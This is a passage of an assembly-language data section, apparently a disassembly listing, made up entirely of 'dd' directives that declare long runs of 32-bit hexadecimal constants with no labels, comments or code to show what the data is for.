8A8802A2h, 6FA7BFDEh dd 315B5BF8h, 125ED478h, 308722CAh, 0B4598017h, 57C9A802h dd 0DF781F02h, 5BCD8182h, 10CA6C77h, 0A42EE99Dh, 33DF09BEh dd 7EC65Dh, 0AD04281Bh, 0F195C641h, 0E6C1BA00h, 0D1FFA420h dd 0DB3497F5h, 9A70FDBBh, 0C66902ECh, 26AFD0Dh, 163437FDh dd 34AA46h, 358512BAh, 0C6A2AF3Dh, 2472FE90h, 0C9F9038Dh dd 910064F5h, 0C87DAC07h, 5A0311EFh, 0A6E99E04h, 0C967A2AEh dd 0DD482B55h, 3A7B0809h, 0A053070h, 49ED74B4h, 6E509E5h dd 91F0B75Dh, 3CE5801Ch, 711286h, 112B5DCFh, 5CFAD381h dd 911F7628h, 0B2F88C4Ah, 9ACDEEA4h, 0DEB4532Bh, 0B647CAD8h dd 0B1B8914h, 0F7B3C780h, 296E0315h, 0DFF80B96h, 0FDE0E99Bh dd 0E1259D33h, 6E6E5528h, 21BDB524h, 3B6B6A9Fh, 0E2EBE59h dd 0FB1709FBh, 0AA00AF7Ah, 9D2B6CE3h, 65B726F9h, 0CCFE1403h dd 3F02E996h, 313BC39Dh, 8B245990h, 0A93A5DF5h, 0A840C55Ch dd 952586Eh, 7E5CA94Bh, 0D12AB875h, 2B5F8110h, 24EFC688h dd 9BA1D3Fh, 395F0AE1h, 0D1368224h, 0BE74552Dh, 14B59561h dd 0BD102B0Ch, 56D8102Dh dd 0F8831735h, 0F4C4B7C8h, 0E9F914D1h, 0FB5E7C82h, 0D701FD56h dd 47554C50h, 1322AB28h, 16A778B5h, 0BA0E01BDh, 19B5A130h dd 0BF73C205h, 4ED7D6E8h, 0F8BB01A5h, 0E929CE24h, 31158B48h dd 0E8A97F9Dh, 64A5F559h, 293344E9h, 0CA218538h, 0C2D2AEE2h dd 59829571h, 98460FE8h, 918F8400h, 424EE637h, 0D07A0097h dd 80A9760Ch, 0D49D95F3h, 818CC12Fh, 15FC3B19h, 0B713AE5Bh dd 0E3F6FBAh, 96563A32h, 0AF00E8E2h, 0D25539FFh, 350042F4h dd 0B85F5A70h, 932FAD0h, 39585B51h, 0F884DB71h, 0FCACCBB9h dd 0F2F06032h, 0B09107Fh, 46D700CFh, 43BE92ACh, 0C3007BA6h dd 764888C2h, 25714AFDh, 6F765217h, 0DC71AEh, 6EA7ECD8h dd 0F33C607Dh, 458E8024h, 2827D508h, 0DFDB0161h, 2BF8FCA6h dd 0B8DE69C0h, 0FA210BD4h, 9674BAE9h, 457EEFCh, 0E946FC4Bh dd 6AE7400Eh, 375BE6h, 5ED52280h, 0CBA2D119h, 8ECAE5Ah dd 0DC8702BEh, 0E6068C2Eh, 6FD903EFh, 4ADB3C08h, 3EF773A8h dd 29D59F07h, 0D55BFF25h, 6C5F8419h, 75142529h, 3144DC32h dd 503ADC04h, 8B825D1Dh, 8028D13Dh, 0D0C381F9h, 54BAAA6h dd 1CC8D69Ah, 73EB5AC0h, 951004B3h, 0B80BA59Bh, 1623BBDAh dd 0AA05E604h, 0C264B8ABh, 0E2275BDh, 12950BD6h, 3AD9B2E9h dd 32605E6Eh, 71AA30D6h, 3EAF7709h, 440379F8h, 0AE7BAF78h dd 9D095B02h, 1F5E2DCDh, 0DDF8F9E2h, 14911135h, 0E1FFE982h dd 1F71B7D7h, 0C1FB6F7Dh, 1DCB8100h, 977F28E0h, 0A02F0894h dd 0D0B3F303h, 149737ACh, 209145FAh, 149753C3h, 0F54B44FAh dd 746E604Bh, 0F529C500h, 9CF791CFh, 8D0F9716h, 2ED7F6CCh dd 9520EB5h, 447D1D19h, 41BD2265h, 0F6E38995h, 9300DCB9h dd 72B7E69Eh, 84C2873h, 12E99FD1h, 15D25C81h, 59F41094h dd 3EEE0098h, 0AE68F4B0h, 5402DD37h, 0C18D09A1h, 929A5707h dd 535F576Ah, 9AD37176h, 0F8DF79F0h, 25D52579h, 0F8513F76h dd 0D3DDF86Ah, 0F657E2B4h, 0B8B002B2h, 5190C6DBh, 81F5D9F5h dd 5B445ABBh, 0AD4FA50h, 134A07DCh, 1EAA7B5Fh, 7E54A3ECh dd 0E6E1624Bh, 0BF809768h, 289EE343h, 0D5205EB8h, 38680505h dd 0C1237374h, 2B5D0745h, 77C75F03h, 5F0BDA6Ch, 38CD6C64h dd 0FD2E0D7Dh, 956DA925h, 0DF2A9782h, 820535Fh, 6D920FD5h dd 0BD6FD5E5h, 0E7312EF7h, 2DEE1A17h, 0C9EF1A17h, 9CE400A1h dd 972F1CC4h, 7525DFF6h, 1A130E37h, 631DCD60h, 5192735Bh dd 532EC6E6h, 0F530B608h, 0D4DE1480h, 0E718143Ah, 0A912EFD3h dd 67F5E730h, 17080518h, 84E389h, 9539BF57h, 3567Ah, 520782E1h dd 0D1AEDA10h, 0BB43E901h, 4DA0B9A9h, 80096D26h, 0CF70D8DBh dd 90015BB0h, 502CA265h, 0FC3AEEB3h, 0D98B16FBh, 15ACF3B9h dd 0FE55018Ch, 0C7807468h, 0DB73A3h, 0A6A8CB54h, 919802h dd 21EE450Ah, 0CE262ACCh, 0FAD3711Ch, 54A03593h, 5783148Bh dd 0FB4B865Ch, 9BB25B12h, 161B6F5Bh, 89C66B10h, 59BB0253h dd 90433AC1h, 0E060C655h, 7CFEECF2h, 2E7E97CBh, 4599BD50h dd 0A5A2B823h, 0ECD2DC16h, 0D4B4D18h, 886EC48Fh, 0BCF5162Bh dd 0FEE8526Ah, 0C6F2730Ah, 0CCCE00E5h, 0B25B43C9h, 32DF3602h dd 5D240644h, 3C334A10h, 0D3465400h, 0E717AC41h, 2C8095B8h dd 5F5B7380h, 542FE92Ah, 60819577h, 6755DC9Dh, 7735B2F5h dd 0DF5E5B47h, 0ADCB3FC0h, 52E822h, 17FEB9C7h, 852947F9h dd 0C7286925h, 5D7818A3h, 0D17A9D2Bh, 659AE6A7h, 818E4127h dd 8156F27Bh, 0CF5BD29h, 89D4A23Bh, 950270DAh, 346084EFh dd 25D2CD33h, 7FC6D95Ch, 68D308A0h, 5650F625h, 111AF69Ch dd 5FD078D2h, 8CD80A53h, 9C77C17h, 0C833C131h, 4B0AED77h dd 0AA257AB0h, 0DCBF9400h, 9D9195E6h, 0C2810260h, 145E4D40h dd 4A6DBC84h, 1ACBB561h, 0C970D55Ah, 0DF0164FAh, 0F942D090h dd 0FD2B2C04h, 9ECD4AB7h, 321EB41h, 9D08FD2Eh, 0CFE58D97h dd 0A976E96Ah, 63F5706Fh, 9516016Ch, 70AB3445h, 5D9D31BEh dd 25BF2F4Eh, 0B9E604BFh, 0BE66000Ah, 0B761A0B7h, 73A41251h dd 0ED9B6225h, 908BCF7Ah, 0A51FB5F5h, 2001EF4Ch, 3A095FF1h dd 5C75237Bh, 0D2F4E22Ah, 0A4A31FE6h, 40A6C680h, 8E0B9005h dd 0B6EFCE24h, 265BF054h, 330D05DDh, 0BB21B59Dh, 5EA91849h dd 0D38050C5h, 6BB6575Ah, 0E8B173B4h, 0FE8B96E8h, 73F85051h dd 0EBFF1F41h, 7D6B61ACh, 45123492h, 0DFA23075h, 213B12FEh dd 0F4EE374h, 294884BFh, 49297172h, 0FF2715DEh, 4D0289B7h dd 796EF121h, 0B7490011h, 0CD587F5Fh, 0D5D0990Eh, 3C82BDC4h dd 62EB2C2Eh, 0C7927FBFh, 5BDC9D8h, 0CC913122h, 6073585Ah dd 4057994Bh, 7361F6F7h, 937ABB28h, 5F5DCD27h, 0B5897D98h dd 0DA103129h, 0D72FB742h, 0D9ED8A4Ch, 42310F19h, 3FE1B3D1h dd 0E0AF120h, 0D41C0B87h, 35F55FF8h, 0C020AEB9h, 58C6FA3Ch dd 1D12BA00h, 59950917h, 0E690952Eh, 9E955B57h, 4FED95C3h dd 12372D40h, 2B662C58h, 8EC78118h, 0D2E9FCA7h, 5D5542D7h dd 1003FDB7h, 0F4FC11B4h, 0D9914CC2h, 73732DEEh, 556EA78h dd 89A302F3h, 0EBD52485h, 9CA452E6h, 9C0F1748h, 161558B7h dd 8EE70B30h, 0D0240088h, 2C792D36h, 6B1E8B1Ch, 7782CB9Ch dd 0D890B544h, 88F14B5Dh, 0A34A0FD9h, 8DB4D8EAh, 0CDD1F1Dh dd 0EB8489FDh, 0D3827751h, 0B8749050h, 287573DCh, 2DAEFC34h dd 579022C1h, 0F6B57638h, 9261DEEDh, 2850F38h, 405B5311h dd 1A17D0B2h, 50B8D94h, 0C3645730h, 2D019D10h, 17569025h dd 1CE48A40h, 0C9D41383h, 0E4C8FA5Fh, 827900EBh, 5898D3AFh dd 650033CCh, 66AA07CAh, 5A7868BFh, 0BD87E95Fh, 0BF5A902Bh dd 1A340FC7h, 0DAD94856h, 0F2790C97h, 0A4D26BB6h, 89ACF88Fh dd 0DE8B57C2h, 82FFF175h, 24C5BD01h, 9E52582h, 56D1FF02h dd 0C287517Ah, 400F4F55h, 7455D39Ah, 0F3F16C01h, 26A0E27h dd 0CF629247h, 0C0F190h, 0B1EFC155h, 565C80EBh, 38270045h dd 5AEACA16h, 33E92661h, 55113AEh, 169EE092h, 0E57AA6B1h dd 60E0D0FAh, 51B1800Fh, 0C0BDBE81h, 0A28B61FCh, 8832EAA2h dd 48B7A363h, 0DD39E909h, 0DA489B1Ch, 81A34E33h, 7D9C6501h dd 0E9D733D6h, 78A1FDABh, 1AB8937Fh, 1CEA9CE0h, 0C5AAEDBDh dd 69A2FF14h, 4A39B050h, 89A5DD34h, 786BFFE2h, 0FD5A9A12h dd 6105B301h, 570C9F59h, 796D5FDCh, 80123E08h, 0E119B690h dd 0A92BBDE9h, 603BADA8h, 7838696Bh, 0A253B800h, 0F883645h dd 0A4D4BD8Eh, 55199AE0h, 0FF605BB2h, 0AA716A33h, 13FB7D8Ah dd 22199505h, 23466FABh, 0E61F0116h, 20FF6A26h, 29441DB1h dd 9F2CEEB5h, 1FDEBDDEh, 81912D1Eh, 0A7DC28D7h, 97612B10h dd 0B0020153h, 5A46FFh, 8FC1F563h, 1A2E0294h, 6ACA9600h dd 8B70E60Bh, 1294D9Dh, 71E4F509h, 0B1DCC3A2h, 2898A556h dd 95316057h, 0BF9F2075h, 2C76FE9Eh, 601F6108h, 0F0BBCE90h dd 0E3865C9Dh, 0E3E9AFBAh, 0E624204Fh, 0BFBDE24Ah, 0C585010Bh dd 17144CD5h, 0ADB52960h, 0BD27766Ch, 0C1689051h, 0AE520BBBh dd 0C8776B28h, 861CC546h, 0E0C82B37h, 981D2614h, 5BEFDED1h dd 0BCE97314h, 26FDC4FEh, 0F9C09B10h, 0CADF3E37h, 300556F4h dd 5F6A22Ah, 824E92D3h, 1BD5644h, 3CA7D5BFh, 4810B81Dh dd 51EEC0FEh, 4645A7Fh, 0EDE3E1F2h, 22C1ADCEh, 94566218h dd 33C02BCBh, 19D271E9h, 950171BAh, 0C9762B1Ch, 7AE3123Ah dd 25CEB294h dd 0EBEBDE51h, 883D1BD7h, 4AF50331h, 0CD8D95Bh, 0B300C0E1h dd 89AE426Fh, 327535h, 0F76BB492h, 80C1CC46h, 0D2924C58h dd 0BBDA88BFh, 40259477h, 0E4087538h, 0E8024994h, 51572D91h dd 0AF9045E4h, 0AC00CC7Ah, 411E529Dh, 0A105BAD1h, 8A0F2632h dd 77B59C62h, 0CF80AA10h, 0E3302BE9h, 90E6F381h, 0B9571379h dd 291E41D2h, 6F02A99Dh, 0A9BED388h, 0DB3BFCB2h, 0F37B8AFDh dd 0F731D989h, 47C038EDh, 4A2D1BBBh, 4A38B28Ch, 0ABD291ADh dd 38C112F4h, 880996BFh, 75515B3Bh, 4A4DE814h, 0B00E66A8h dd 6480BA40h, 73A593C2h, 0EC3D4503h, 82C402DAh, 165B5826h dd 0E6D22B5Fh, 0E758E033h, 4D780493h, 0BF90EA08h, 12B733D8h dd 0B76DE39Bh, 3119F2F7h, 69ADFCE6h, 0F18B452Eh, 352B48A6h dd 0CAAD0h, 0FC3A4030h, 43623127h, 1938BE90h, 0C441A5AFh dd 0BD231207h, 0EFD652A5h, 36C4CA9Fh, 308DEE82h, 80FF986Ah dd 565C9A9Dh, 0BE905600h, 0D0834325h, 0F9084A6Eh, 235E8F5h dd 3F2308FCh, 0D456DE8Bh, 0BF156651h, 0D7A95712h, 0C67F51C9h dd 0C5EF137Fh, 0AF6BAF5Fh, 0C6011823h, 0F5CF9952h, 0E1B3097Eh dd 0F080B637h, 0EF96B96Fh, 71951229h, 0E1CAAC25h, 75C20574h dd 0C4804F37h, 51675D33h, 0B8BC2536h, 9507207Fh, 13697C65h dd 17132C76h, 0D741AFA6h, 0CAF3805Fh, 49DE282Bh, 44A88DD3h dd 0B26C3112h, 50185E0h, 22C0BDDEh, 0DCFAF2FFh, 18C91304h dd 88FA8B4Ch, 2B905699h, 0A9072532h, 9D745560h, 0D6C502DCh dd 0FC6052CBh, 0D20BE8E6h, 0F7877283h, 3AFE3DE4h, 68D8DB17h dd 0DCBD73C3h, 0F43DB3AEh, 0C51262F6h, 549404ABh, 5635B826h dd 4ED0F722h, 95C1E610h, 31FC8F10h, 33CAA900h, 0B350708Bh dd 0E21D01FFh, 0DA7AC146h, 5B16B80h, 0AA2C442Bh, 1A233E01h dd 5601992Ch, 9C62E0BAh, 0C8BA9A6Bh, 9DDBC01Bh, 0D30953B7h dd 6AA5F7Ch, 953B14Ch, 0D54BBF66h, 3EDF29E1h, 0BEC15FECh dd 6B6173E0h, 14C8D29Ah, 8EE73C5h, 50131730h, 2414CCFEh dd 36B3A012h, 0A09FB7AAh, 0D99D798h, 78E3569Ah, 9B6E2F44h dd 6D6FA40Eh, 26A5B0B8h, 3E685B80h, 0D9A8615Ch, 1D192599h dd 0A2A32760h, 0CD26AF2Dh, 62B8C3F2h, 0BF38B6E0h, 5101101Bh dd 5F2CE95Eh, 0A9D1AD2Bh, 6477FC1Dh, 4B238F50h, 0BAAB85AFh dd 0EBA475B7h, 25D627B0h, 38C0A5B3h, 0E9802875h, 0B7015FEBh dd 806FA02Ch, 0DC92132Ah, 0BB0E704Bh, 0EDB5499Fh, 601B6405h dd 4C85B21h, 7AA52882h, 0B4E2EFC6h, 89EECC4Ah, 0E8F2B54Bh dd 0D4C2D825h, 0D0FD7B75h, 6F02BC5Bh, 6D80A855h, 4BECF0ECh dd 10D48B0Ch, 10C809C9h, 4574CC80h, 1B50A8h, 35B8EA60h dd 0EBBF795Eh, 313AE602h, 7509B98Dh, 1471FCFBh, 20BA5849h dd 4C9648FFh, 0EB4A8E3Ch, 242B2420h, 0A29F0055h, 7D08E659h dd 0F909B3EAh, 643FE3ABh, 247EB7CAh, 0DFD28EC0h, 965F25FEh dd 0DD7079F3h, 0F7D61219h, 0D1D304CBh, 0ED1F162Dh, 29FBE547h dd 0CF8B7519h, 0FEEBF956h, 0C368600Ah, 0E05A5D67h, 0E9506AFDh dd 0C19C133Ch, 0FFE9091Fh, 52920D79h, 37D52BC0h, 8590535Fh dd 4DEA2F00h, 87116172h, 0CB03E971h, 9A96AA6Fh, 0D85E135Dh dd 77C6C15Fh, 2A66E7Fh, 7060E1F0h, 88CCDF03h, 0D0819CA2h dd 4C6239D5h, 0B55BEB01h, 58A67B02h, 1942DCB4h, 4FEE4B00h dd 9411CC2h, 9BF15495h, 0DCAF9E61h, 74129B14h, 71FB2DABh dd 0BFDBE9A2h, 7AD7450h, 6688F071h, 0B8A8E49Bh, 8762A393h dd 783B5B0Bh, 472888D7h, 600BDE41h, 7B55E97Ch, 7716D829h dd 1DC9D99Dh, 949FC0E1h, 0B0FC7DD2h, 49320200h, 0D81DAD68h dd 0ACE5138Ah, 0BFC4AE3Bh, 0F5573AAEh, 1615B304h, 0FF18213h dd 27703D75h, 724C2AF7h, 7903C509h, 54DCC49Ah, 4BCFB301h dd 92C1201Bh, 790034F9h, 0DF359B45h, 21B023Bh, 2B19370Ah dd 0A975B5BDh, 6ACFD7FAh, 123D9BE0h, 90D39D96h, 78146404h dd 9E4E0FBDh, 0FE76C43Eh, 0AF198504h, 0A6DB4575h, 0FCE19181h dd 0C275C650h, 28377F7Dh, 0A5E7BA80h, 97890F5Fh, 0D0C22A1Ah dd 0F8257BDDh, 5F173270h, 1CAFD340h, 0EDE6E559h, 0C1B9F4B7h dd 55B37FEFh, 9A7BBAB7h, 9CF882Ch, 38DD2569h, 1805BFC3h dd 0E4049F09h, 0D697313Bh, 194DD461h, 98EC80F9h, 1A5FF4Bh dd 0AAD38127h, 2B65A785h, 8DFC0BB9h, 0B75AD800h, 70D259B6h dd 0E98B97F1h, 600065B7h, 0A84B9328h, 0ED5C2F26h, 0C6AF5FD9h dd 73B72739h, 69790642h, 44F34000h, 2DED4A21h, 0C176F9CFh dd 69E0BB78h, 0EED792B2h, 3A359544h, 31FF4F3Fh, 3FD8EB6Ah dd 6EA9F0A9h, 5B15EE60h, 0BCF05F5Ch, 55C00B30h, 0BFA0FE23h dd 63A4743Dh, 81F8C47Dh, 7F3041DDh, 202BAD9Dh, 51CCB6F7h dd 0AAA4ED2Eh, 59C8B860h, 1C64006Ch, 0DDD4E703h, 5B2E0223h dd 0C0253796h, 574BB69h, 0F39B2C8h, 0AF228431h, 20B58DB0h dd 81041615h, 45AF02DBh, 9A41CA9Dh, 7FEA47F3h, 0EC529653h dd 95A227B9h, 27BC8F7Ch, 3EE457h, 509B0E9h, 4FCDDE03h dd 9502AB79h, 8C25A4AAh, 777AD0C7h, 0F9D58205h, 40EB4846h dd 8B63CF81h, 50444600h, 1B1258BBh, 5CE8B54Eh, 0A82F548Eh dd 5570D43Dh, 0E70F4100h, 5B86C660h, 2857B0F4h, 6989D9B5h dd 3650FF7Bh, 0E434255Eh, 0D5D53077h, 41EE9508h, 0ED253A9Ch dd 0D98B091Ah, 50654A74h, 6AD9EEh, 3BF879FDh, 5AC62938h dd 0DDF03CB6h, 1A050CB4h, 830F015Ch, 0D4B33804h, 0CB46A2EEh dd 8866518Bh, 0E90318B9h, 8CFFF23Eh, 8FC0339Bh, 4F56DE6Ah dd 543FBA16h, 0BC00B4E2h, 0B8592C64h, 0D49F843Ah, 6101DE5Eh dd 0BE3779A6h, 17CCFE2Eh, 0D55748B9h, 0F0661FC0h, 2B5B81D7h dd 5F7249EEh, 272958AFh, 55D2235Bh, 46DA70Ah, 0C4CCF1F5h dd 504AAA4h, 664B0385h, 0AABD4076h, 3109A4BFh, 7216C58Dh dd 298A1226h, 212B221Ah, 0A5F6F975h, 0FC4064EDh, 28C02062h dd 94E7DF1Ch, 6CAAB014h, 845D9B8h, 49F02D36h, 5A3ECC31h dd 59250433h, 9F400CE8h, 0C47FFB54h, 8E65AF01h, 7B2E251Eh dd 0D88D2Ah, 295FF884h, 18ED9513h, 0C1BE60ABh, 602F2DA7h dd 6920F58Ch, 0FBB73503h, 3F8BB01Ch, 91119666h, 0EA6A5B12h dd 1180079Bh, 0A1351DF8h, 73485B00h, 89D1B3FEh, 2957959Dh dd 0E22A4D2Dh, 0F9F52C7Fh, 7AE8A521h, 1B0949D7h, 802861CBh dd 184E9C63h, 0E99E4E9Bh, 8C17ACCFh, 0D2EC750Fh, 54D7E645h dd 0B07C4F56h, 8612E397h, 689BD1FFh, 5574A84h, 38AE0CEDh dd 3DBFD1C5h, 90339427h, 0EA8FEAD3h, 6F026A12h, 0C00E0389h dd 0F8F47C3Ah, 2F3C86BBh, 8678777Fh, 3C2F8D20h, 612CF580h dd 60ECA6D4h, 0AC9D2EAFh, 0B87D300h, 0EA722CE7h, 94E0B012h dd 0F3CA425Fh, 160015C4h, 23602ADEh, 0B7107AD7h, 5C696BF4h dd 9A94819h, 16572FE9h, 501FBBE1h, 0A20E1211h, 44A5DD8Eh dd 0B2A0488Ah, 6AE9621Eh, 0EB0E160Dh, 711A5EFFh, 3B443194h dd 49019F6Fh, 0FC33B55Dh, 0D3B66B6Eh, 6ABDC4E1h, 57105D82h dd 35BF5996h, 0C0CD3D23h, 89FB844Eh, 8CBF1583h, 16006979h dd 90FD5449h, 0C7382Eh, 0EF1C1FFh, 0D37EBBFCh, 43F95B5Ah dd 0FCB37B9h, 42532515h, 77F87A3Ch, 0F990DA53h, 0A95BE9A4h dd 16B6BD2Fh, 60E95734h, 0FF440993h, 7EC0EBEDh, 76F1D5Ah dd 0E003C70Ch, 0CA5539D5h, 1051F67Dh, 1694580Ah, 7AEB2A49h dd 5F0473DAh, 660DF9FDh, 0BD6D98FEh, 0F7272925h, 0DE5EBEB2h dd 604052C4h, 0CA18D8Bh dd 0A60A5BB5h, 0AF21183Dh, 2BE1B061h, 91B31820h, 1E2C0913h dd 92DFF33Bh, 0AFB855BEh, 0DE25C991h, 61605D5Fh, 249DF98Bh dd 314111F4h, 8B1D5195h, 44C8B681h, 0E5890033h, 0D2991FE9h dd 5D0018B0h, 1ADE068Eh, 3B42CBE6h, 50CCDFF2h, 5B114072h dd 4E9DBA73h, 0BD1305F3h, 0C4C2886Ch, 0BB5853A2h, 13EB7BCCh dd 0A021D3A6h, 5FBC53F1h, 81CE7641h, 0DBD1333Fh, 3FE0DC0h dd 5BE60913h, 910C02B1h, 99060063h, 98EB699Bh, 0D89D5FF9h dd 5E07ACA5h, 33980BD1h, 2BC7C85Eh, 122335B2h, 0F550BD7h dd 6B176E4Ch, 6D215F1Dh, 0D0465BDh, 0AE89852Eh, 0F2006FDDh dd 4EE961F1h, 1673F357h, 67BEAAABh, 5D5626Fh, 246F3D39h dd 0B89D12D8h, 7FBBB0BFh, 958935D7h, 1460EEADh, 1F5112A6h dd 41F30C3Bh, 0D161B2BCh, 3B052C5Ah, 0B471CFDEh, 673A90A8h dd 19A572DDh, 0E0D36D55h, 74238F26h, 0E64E0203h, 5B148B27h dd 6118F14Ah, 70B72AB0h, 6294BA01h, 2A6168EEh, 1CA89CEDh dd 0E500D693h, 725B0330h, 76D2022Fh, 0E92B927h, 40F96F5Fh dd 0DC4E382Fh, 76512712h, 19E9FA04h, 36C1D9ABh, 0E1CB12Eh dd 7A2DBF4h, 0FC6DC250h, 0B7F60BB8h, 6E3D09F6h, 7502849Bh dd 2B072CC1h, 0F72F2D62h, 4AA1EDCCh, 3A76C9DFh, 8072CD3Dh dd 0BB8F4E0Fh, 0AAF125A1h, 9FD0D438h, 777D7725h, 3FED0941h dd 0BF97ACA8h, 88B94716h, 78C1AACh, 0FE86E03Eh, 0BEB3D4C6h dd 75A58BE6h, 4500AB4Ch, 39F3A3E6h, 0DF7702A1h, 2F05B531h dd 7A96D955h, 0FE2906C2h, 0DF493F76h, 0FC8A1DB8h, 9C8A5F4Eh dd 21AA6422h, 6AB8F749h, 9000997Eh, 75E63C45h, 1B02F325h dd 0F18D29E5h, 0AD735F20h, 70113BEh, 96AD8FFAh, 0FE66AA70h dd 0BD0813A6h, 849AA203h, 512047Eh, 0AE4EF22Ch, 6E4A62DAh dd 2A610962h, 467ED1F5h, 8B2F5727h, 0CB7F7F8h, 30983B00h dd 9FDC2F1Ch, 1E6A0DE2h, 0D325385Eh, 9258708Bh, 0E4BBD200h dd 4EEBD781h, 9DA6CF5Ch, 475D020Bh, 0D4D3E9D8h, 0EFEB3600h dd 300F23BBh, 521D0882h, 4D4F9509h, 885E84E9h, 1F00B178h dd 0FD3188D1h, 1B81E6Bh, 28A9EF89h, 6E81C292h, 5BB9DF04h dd 892252E9h, 0ADE5B2C8h, 0B5D6D15Ch, 0C61817B0h, 1509E830h dd 0E23D9C25h, 0BDD2BD54h, 7B018B90h, 5B316896h, 611014E9h dd 64010684h, 9ABBE8DEh, 0AA2B0440h, 0EAF5BD30h, 451A9D7Bh dd 1040687Eh, 7C67C673h, 8B0BA830h, 9523007Eh, 0F7810BACh dd 0F01240B6h, 88FA5B30h, 8A80DAA3h, 0D87A9FD9h, 0C2B09B7Fh dd 290A1125h, 1FA55538h, 73A6AB6Ah, 2FFA37E0h, 0C7228A04h dd 6881E4C9h, 9B62BD2Bh, 2527ED49h, 0E1D9EDFh, 5B5350D9h dd 5F5261B8h, 0D81D92F7h, 0F558AF21h, 0B2A1B62Ah, 0CE75311Dh dd 4E83EC57h, 2E1C8D3Ch, 904525C4h, 0F0E28D0Fh, 0D7E9F004h dd 0C77CDE01h, 0EA40E11Eh, 4FC80E45h, 0FBD9345Fh, 6C0043CAh dd 0AB23D44Dh, 9F171B7Dh, 0D5095FE8h, 5E7F0995h, 5342C0B8h dd 6C09B58Ch, 0D8612640h, 0F2D6BF7Bh, 0F04A2010h, 0D39D91DDh dd 1064D820h, 89F2BC16h, 9E1102E0h, 0EB66C0CBh, 790005FFh dd 0B3704494h, 9213E31Fh, 1E12503h, 15C34D1h, 3F67CBE1h dd 19E578FBh, 8FA50121h, 8F7B4818h, 173D2E3Ch, 2DF0A997h dd 0B00C4745h, 5BA99B7h, 0E215F8D9h, 92F0EBCEh, 941C42ADh dd 3B5102Ah, 0B83CC44Bh, 0DE0769CCh, 0E889AD7Eh, 0CDB93218h dd 28F4F001h, 1DF3A737h, 975B5374h, 8477FC9Ah, 68001733h dd 7C373FD6h, 9E409196h, 61D49Bh, 181D6DE3h, 32EA9240h dd 283E51F2h, 3C999A6Ah, 0B8507783h, 7CFC2979h, 0C272FE9Dh dd 8DFC1675h, 74B11F42h, 2D026923h, 7D091DF1h, 15707632h dd 6902604Bh, 619F1BDh, 75971461h, 0AEF9BFA4h, 0B76AC2C9h dd 77A7A0FFh, 62677B15h, 61DFD858h, 0E02B7F7h, 5881B195h dd 2A37165Fh, 6FE960F9h, 0E95F3BF7h, 71F5C969h, 351746EEh dd 0A83359B7h, 1A352D25h, 84069AF5h, 0FA527DAEh, 2EEDA4DAh dd 0A8259860h, 0E08C2630h, 0ED07DEFEh, 65D3AA5Ah, 0B0445430h dd 505125DAh, 5B6443DEh, 224FCBABh, 1F89B0D7h, 0A921DC40h dd 3C462D9h, 1F48FD4h, 0B5111FF1h, 63D2ED5Fh, 2F5801F7h dd 18422978h, 1A1DF541h, 0BB665F00h, 5EB31B2Fh, 6B00551Dh dd 9F971D4h, 0A84C97CCh, 17E2DF46h, 2FF36D30h, 0DE894543h dd 1BCE371h, 6B2E4866h, 43EA8B3h, 0D5A49C24h, 0C5D59B86h dd 0E6AB41C4h, 32DCB4C8h, 0A0C402A2h, 40D9B2E4h, 84407177h dd 291CC5B5h, 829AA87Ah, 5D86CB80h, 2FFA7431h, 9CFC9C35h dd 8A7E0820h, 0FEE87CBDh, 4B45F1BFh, 7F2130D5h, 0F2745AA7h dd 0EFBB09FBh, 0BD5B788Bh, 46C15ECDh, 0BA2BF49Dh, 4A8DAC25h dd 9137A30h, 77F34130h, 0C7A46C7Bh, 837B12D6h, 58B0BA65h dd 44B009BBh, 6E79705Ch, 81BD0385h, 2B6FC9AFh, 15238A6Bh dd 53EA80Bh, 0E5EC518Eh, 0AB1974D2h, 0FDA45FB6h, 0BF938048h dd 5A337F37h, 0D0458C6Ah, 0F1994C00h, 0CCBC4AF6h, 51A00277h dd 909A6B59h, 381718h, 74F779E6h, 14BAA2C6h, 5BD0FD12h dd 2515A551h, 524EF520h, 0CC98634Bh, 59952A29h, 23DBBDA3h dd 9519F0C9h, 1DCE65Eh, 823285D7h, 7E8D897Ah, 962DFAA8h dd 0AD0031F1h, 32ABA2F1h, 53FB1238h, 0B0C5FF17h, 0D71D3430h dd 0BC71EC4h, 9A74AFA7h, 60539641h, 0D54888DDh, 0F75B5A61h dd 5851281h, 854B71F7h, 0D1A7AE40h, 0F2EB7BF0h, 0E6ABB725h dd 6C14976Fh, 5534796Bh, 7581D437h, 15ABBBB7h, 7B989D2Eh dd 0B48134DAh, 49820F78h, 44D5DAAEh, 0B3F84BAAh, 0EFF5A43h dd 0E3C08FA9h, 0C00DDB15h, 4F2B030Bh, 40535839h, 0C65E5B16h dd 25FBB764h, 807BAE66h, 97001D23h, 1FF0715h, 0EE1FEA3Fh dd 27E9257Fh, 0BFF67C5Eh, 8C1270ECh, 95873691h, 0E280C123h dd 59DE577Eh, 0BBB097D4h, 1B056BE8h, 96415DFDh, 0CAA08FFh dd 0C2A2FE25h, 49759501h, 0DB3B6A04h, 5D4CCBEEh, 7725C03Dh dd 0F951C8EAh, 278A0200h, 128507Fh, 0CE2B3463h, 40D06D1Ch dd 1A39CD8Dh, 78A17BB5h, 0B24C9190h, 25FD130Eh, 0D3DE8FFAh dd 5ED471BFh, 0DDFA21CEh, 0A7600301h, 7D023D72h, 891A83EEh dd 5675ED95h, 2544AF66h, 0D729854Ch, 0BB6640BFh, 2FB711E3h dd 0DF3412D6h, 0AB4EB0ABh, 7D5B8F25h, 803EA7E6h, 96CE6DDFh dd 0E72D522Bh, 60FAA0C5h, 25430293h, 9EB3C1B1h, 51F6537Fh dd 2F9B581Dh, 0ED4F1F00h, 77F89B82h, 30BE4EDCh, 85BD2B0Ch dd 88F8085Eh, 0A84AADB5h, 17FA7580h, 6FD1FF8Bh, 0BF140013h dd 0DB32345Ch, 7511BF50h, 2E58C44Ah, 0D3523000h, 730D342Dh dd 330604ADh, 0BC11FD07h, 2A4DA2C7h, 5C908CAh, 4D026A09h dd 0EE78C028h, 8305F2DEh, 0F88BB452h, 0E17F7EA5h, 7BAC3B29h dd 0AFD4ABA4h, 3860B6EFh, 4BE9C001h, 1043CE92h, 15F839D7h dd 4A37028Ch, 0A5BD3356h, 5BA5847Fh, 46F6EBBh, 8E601FBAh dd 4AA43BCh, 50F0B74Ch, 0B33431ABh, 0AE7B7E90h, 0EEFFAE00h dd 0A4F279FBh, 0F5BF0F27h, 0FA5C2CB2h, 9BBB1013h, 7CA6D692h dd 51537D01h, 3A7718AAh, 0DCA92D05h, 27F9ECA1h, 0EDB8C307h dd 655E6182h, 0C6D78161h, 7D3B71FCh, 0D0849F6Ah, 0A9B54223h dd 0B7F35F33h, 1669C978h, 12778DD9h, 